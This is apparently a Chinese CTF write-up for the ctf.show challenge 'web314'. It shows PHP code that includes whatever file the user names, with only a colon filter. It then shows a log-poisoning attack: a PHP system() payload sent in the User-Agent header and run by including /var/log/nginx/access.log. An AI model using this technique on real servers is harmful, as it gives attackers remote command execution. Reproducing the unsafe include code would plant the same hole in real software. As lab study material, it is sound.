web314( 日志包含)

<?php

error_reporting(0);

highlight_file(__FILE__);

//phpinfo
$file = $_GET['f'];

if(!preg_match('/\:/',$file)){
    include($file);
}

过滤了冒号,也就是说伪协议不行了,那么还可以日志包含,或者利用 session.upload_progress 进行文件包含。这题可以利用日志包含。

漏洞利用

利用 User-Agent 把shell写入日志,然后再包含日志就可以了,又因为使用的是 Nginx 服务器,所以默认日志位置为 /var/log/nginx/access.log

User-Agent: <?php system('cat /fl6g');?>

 nginx日志包含:/var/log/nginx/access.log

http://3467b77c-a25b-44fb-a37c-194c5e9e5542.challenge.ctf.show/?f=/var/log/nginx/access.log

<?php system('ls');?>

 

 

posted @ 2025-04-28 16:46  justdoIT*  阅读(11)  评论(0)    收藏  举报